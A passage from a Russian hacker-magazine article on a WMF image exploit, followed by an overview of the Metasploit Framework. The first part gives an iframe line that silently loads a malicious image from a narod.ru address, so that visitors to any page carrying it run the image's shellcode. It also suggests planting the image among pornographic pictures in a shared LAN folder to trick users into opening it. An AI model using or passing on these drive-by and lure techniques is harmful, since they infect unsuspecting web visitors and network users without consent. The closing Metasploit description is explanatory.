Метавеселье на практике

etoo

Хакер, номер #086, стр. 086-074-3

без внимания

Сам понимаешь, тактика, которую мы избрали, подразумевает одноразовую шутку над приятелем. Если хочется большего, то действовать надо не так прямолинейно. Хороший способ — сохранить ядовитую картинку на любом сервере в Интернете, скажем, на narod.ru, а потом во всевозможные доступные места вставлять следующий html-код:

<iframe height=0 src=”http://vasya.narod.ru/fuck.wmf”>

Все посетители страницы с таким кодом будут скачивать злобную картинку и выполнять заложенный там шелл-код, который может делать что угодно. Еще хорошая мысль понравится пользователям локальных сетей, где есть куча общих ресурсов. Стоит только в папке upload сделать директорию fresh porno, куда можно залить 10 порнушных картинок и одну — нашу, хакерскую, как все юзеры, открывшие эту папку для просмотра, выполнят твой шелл-код.

идеи metasploit

Вообще, слово Framework должно было заставить тебя задуматься о какой-то виртуальной машине, промежуточном байт-коде и так далее. Но здесь все проще. Основная идея заключается в том, что для использования и тестирования различных багов рационально создать удобное ядро, к которому можно подключать самые разнообразные эксплойты. Поскольку шелл-код, выполняемый эксплойтом, способен меняться, то разумно сделать базу самых часто используемых шелл-кодов. А также необходимо, чтобы управляющее ядро позволяло вставлять в сплоиты разнообразные шелл-коды.

Другими словами, Metasploit Framework — это перловая программа, позволяющая подключать к себе написанные в специальном формате сплоиты и вставлять в них любые из доступных шелл-кодов. Всего в базе со сплоитами больше сотни ядовитых программ, а количество разнообразных шелл-кодов просто поражает!